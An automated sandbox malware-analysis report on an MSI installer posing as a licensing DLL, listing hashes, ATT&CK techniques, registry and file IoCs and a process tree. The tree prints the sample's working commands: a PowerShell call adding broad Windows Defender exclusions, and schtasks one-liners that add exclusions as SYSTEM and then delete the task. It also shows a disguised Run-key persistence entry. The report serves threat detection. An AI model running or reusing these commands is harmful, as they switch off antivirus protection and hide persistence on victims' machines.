1409ae7f12649e3ef5cc0bf27fa2c7d00afbe24e386f1899adda937652556a1b

Analysis

max time kernel
149s
max time network
155s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
13/08/2026, 04:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.1.0.41.msi
Size 5.1MB
Sample260813-etdt2agg49
SHA256 1409ae7f12649e3ef5cc0bf27fa2c7d00afbe24e386f1899adda937652556a1b
MD5 d46807581bef0ec5d61e4deccba7bc27
SHA1 c2717eb652fd59f35367f96b575dbcde910284dc
SHA512 20e184f56210ed9d72e6f21669c238d4c48d95ca66eeb0990c33e07df181aae921a690b46ae66e90b57efac9e31982362f26f87877638cb1842b64399940d125
SSDEEP 98304:XHNHIgJl7hBFpn+E+sQ5Sq3YJ4IXPV7hF3fEbB7tVSSDv:XH9FJl1BFpnQ5LYHlGQYv
TLSH
T1674633D57EC96378D15FCBB12153A5AF7D697FC27A628C0A79893D004E72B2423B1388
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\KXH7kV = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
6524	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4584	LeHZ7V.exe

Loads dropped DLL 2 IoCs

pid	Process
3144	MsiExec.exe
4584	LeHZ7V.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2200	icacls.exe
1280	icacls.exe
2516	icacls.exe
3328	icacls.exe
2316	icacls.exe
4848	icacls.exe
2836	icacls.exe
2676	icacls.exe
908	icacls.exe
6528	icacls.exe
6064	icacls.exe
5856	icacls.exe
6332	icacls.exe
4268	icacls.exe
1488	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\KXH7kV\\LeHZ7V.exe\""	LeHZ7V.exe

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
13	3144	MsiExec.exe
14	3144	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5784	cmd.exe
6940	cmd.exe
1420	cmd.exe
2180	cmd.exe
6748	cmd.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049	MsiExec.exe
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	LeHZ7V.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Dz1LJl\jn6Jyd.exe	LeHZ7V.exe
File opened for modification	C:\Program Files (x86)\Dz1LJl	LeHZ7V.exe
File created	C:\Program Files (x86)\Dz1LJl\XPSPLOG.dll	LeHZ7V.exe
File created	C:\Program Files (x86)\Dz1LJl\image.png	LeHZ7V.exe
File opened for modification	C:\Program Files (x86)\Dz1LJl\XPSPLOG.dll	LeHZ7V.exe
File opened for modification	C:\Program Files (x86)\Dz1LJl\image.png	LeHZ7V.exe
File opened for modification	C:\Program Files (x86)\Dz1LJl\thumbs.db	LeHZ7V.exe
File created	C:\Program Files (x86)\Dz1LJl\jn6Jyd.exe	LeHZ7V.exe
File created	C:\Program Files (x86)\Dz1LJl\thumbs.db	LeHZ7V.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e59965c.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\SystemTemp\~DFE9C6D83F80B4BD5E.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9CD4.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF771CBD96DD89A6EF.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF7CC957742E30DD3C.TMP	msiexec.exe
File created	C:\Windows\Installer\e59965a.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e59965a.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF138461E545B696B2.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{B0831565-6686-6851-9C74-E6F739A50195}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9C07.tmp	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
1188	msiexec.exe

Executes a command shell one-liner 1 TTPs 19 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5100	cmd.exe
4116	cmd.exe
2280	cmd.exe
6600	cmd.exe
6972	cmd.exe
1160	cmd.exe
4752	cmd.exe
5468	cmd.exe
2672	cmd.exe
6176	cmd.exe
1152	cmd.exe
2560	cmd.exe
7112	cmd.exe
6692	cmd.exe
4068	cmd.exe
6508	cmd.exe
7164	cmd.exe
6268	cmd.exe
5000	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000392849c4232396370000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801392849c40000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101392849c4000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3392849c400000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6392849c400000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe

Modifies registry class 22 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\PackageName = "install.1.0.41.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059\UuueatYAD	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Version = "84017285"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\5651380B68661586C9476E7F935A1059	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\PackageCode = "C14396F48E823AB48B911F4402DA0CBC"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\DF0DC009059FB39AE56CA70DA425EB38\5651380B68661586C9476E7F935A1059	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\ProductName = "UNITAT Licensing Dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\DeploymentFlags = "3"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5651380B68661586C9476E7F935A1059\AdvertiseFlags = "388"	msiexec.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1944	schtasks.exe
3376	schtasks.exe
4672	schtasks.exe
700	schtasks.exe
7084	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2908	msiexec.exe
2908	msiexec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
3144	MsiExec.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe
4584	LeHZ7V.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1188	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1188	msiexec.exe
Token: SeSecurityPrivilege	2908	msiexec.exe
Token: SeCreateTokenPrivilege	1188	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1188	msiexec.exe
Token: SeLockMemoryPrivilege	1188	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1188	msiexec.exe
Token: SeMachineAccountPrivilege	1188	msiexec.exe
Token: SeTcbPrivilege	1188	msiexec.exe
Token: SeSecurityPrivilege	1188	msiexec.exe
Token: SeTakeOwnershipPrivilege	1188	msiexec.exe
Token: SeLoadDriverPrivilege	1188	msiexec.exe
Token: SeSystemProfilePrivilege	1188	msiexec.exe
Token: SeSystemtimePrivilege	1188	msiexec.exe
Token: SeProfSingleProcessPrivilege	1188	msiexec.exe
Token: SeIncBasePriorityPrivilege	1188	msiexec.exe
Token: SeCreatePagefilePrivilege	1188	msiexec.exe
Token: SeCreatePermanentPrivilege	1188	msiexec.exe
Token: SeBackupPrivilege	1188	msiexec.exe
Token: SeRestorePrivilege	1188	msiexec.exe
Token: SeShutdownPrivilege	1188	msiexec.exe
Token: SeDebugPrivilege	1188	msiexec.exe
Token: SeAuditPrivilege	1188	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1188	msiexec.exe
Token: SeChangeNotifyPrivilege	1188	msiexec.exe
Token: SeRemoteShutdownPrivilege	1188	msiexec.exe
Token: SeUndockPrivilege	1188	msiexec.exe
Token: SeSyncAgentPrivilege	1188	msiexec.exe
Token: SeEnableDelegationPrivilege	1188	msiexec.exe
Token: SeManageVolumePrivilege	1188	msiexec.exe
Token: SeImpersonatePrivilege	1188	msiexec.exe
Token: SeCreateGlobalPrivilege	1188	msiexec.exe
Token: SeBackupPrivilege	2640	vssvc.exe
Token: SeRestorePrivilege	2640	vssvc.exe
Token: SeAuditPrivilege	2640	vssvc.exe
Token: SeBackupPrivilege	2908	msiexec.exe
Token: SeRestorePrivilege	2908	msiexec.exe
Token: SeRestorePrivilege	2908	msiexec.exe
Token: SeTakeOwnershipPrivilege	2908	msiexec.exe
Token: SeRestorePrivilege	2908	msiexec.exe
Token: SeTakeOwnershipPrivilege	2908	msiexec.exe
Token: SeRestorePrivilege	2908	msiexec.exe
Token: SeTakeOwnershipPrivilege	2908	msiexec.exe
Token: SeBackupPrivilege	6204	srtasks.exe
Token: SeRestorePrivilege	6204	srtasks.exe
Token: SeSecurityPrivilege	6204	srtasks.exe
Token: SeTakeOwnershipPrivilege	6204	srtasks.exe
Token: SeBackupPrivilege	6204	srtasks.exe
Token: SeRestorePrivilege	6204	srtasks.exe
Token: SeSecurityPrivilege	6204	srtasks.exe
Token: SeTakeOwnershipPrivilege	6204	srtasks.exe
Token: SeRestorePrivilege	2908	msiexec.exe
Token: SeTakeOwnershipPrivilege	2908	msiexec.exe
Token: SeRestorePrivilege	2908	msiexec.exe
Token: SeTakeOwnershipPrivilege	2908	msiexec.exe
Token: SeRestorePrivilege	2908	msiexec.exe
Token: SeTakeOwnershipPrivilege	2908	msiexec.exe
Token: SeRestorePrivilege	2908	msiexec.exe
Token: SeTakeOwnershipPrivilege	2908	msiexec.exe
Token: SeRestorePrivilege	2908	msiexec.exe
Token: SeTakeOwnershipPrivilege	2908	msiexec.exe
Token: SeRestorePrivilege	2908	msiexec.exe
Token: SeTakeOwnershipPrivilege	2908	msiexec.exe
Token: SeRestorePrivilege	2908	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1188	msiexec.exe
1188	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1188	msiexec.exe
2908	msiexec.exe
3144	MsiExec.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2908 wrote to memory of 6204	2908	msiexec.exe	95
PID 2908 wrote to memory of 3144	2908	msiexec.exe	97
PID 4584 wrote to memory of 6524	4584	LeHZ7V.exe	100
PID 4584 wrote to memory of 5784	4584	LeHZ7V.exe	102
PID 5784 wrote to memory of 700	5784	cmd.exe	105
PID 4584 wrote to memory of 6940	4584	LeHZ7V.exe	106
PID 5784 wrote to memory of 756	5784	cmd.exe	109
PID 6940 wrote to memory of 7084	6940	cmd.exe	111
PID 5784 wrote to memory of 6980	5784	cmd.exe	113
PID 6940 wrote to memory of 5744	6940	cmd.exe	114
PID 4584 wrote to memory of 1420	4584	LeHZ7V.exe	115
PID 6940 wrote to memory of 6004	6940	cmd.exe	117
PID 1420 wrote to memory of 1944	1420	cmd.exe	118
PID 1420 wrote to memory of 4376	1420	cmd.exe	119
PID 1420 wrote to memory of 2196	1420	cmd.exe	121
PID 4584 wrote to memory of 2180	4584	LeHZ7V.exe	123
PID 2180 wrote to memory of 3376	2180	cmd.exe	126
PID 2180 wrote to memory of 4296	2180	cmd.exe	127
PID 2180 wrote to memory of 1860	2180	cmd.exe	129
PID 4584 wrote to memory of 6748	4584	LeHZ7V.exe	131
PID 6748 wrote to memory of 4672	6748	cmd.exe	133
PID 6748 wrote to memory of 2348	6748	cmd.exe	134
PID 6748 wrote to memory of 2188	6748	cmd.exe	136
PID 6508 wrote to memory of 4812	6508	cmd.exe	137
PID 7112 wrote to memory of 6000	7112	cmd.exe	140
PID 5000 wrote to memory of 3388	5000	cmd.exe	141
PID 5100 wrote to memory of 4428	5100	cmd.exe	142

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install.1.0.41.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1188

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2908
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6204
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 9E8F172ED63E6CCBB6E5329C1F4672CE E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Badlisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3144

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2640

C:\Users\Public\KXH7kV\LeHZ7V.exe
"C:\Users\Public\KXH7kV\LeHZ7V.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:6524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\KXH7kV\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5784
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\KXH7kV\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:700
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:756
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:6940
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7084
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:5744
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:6004
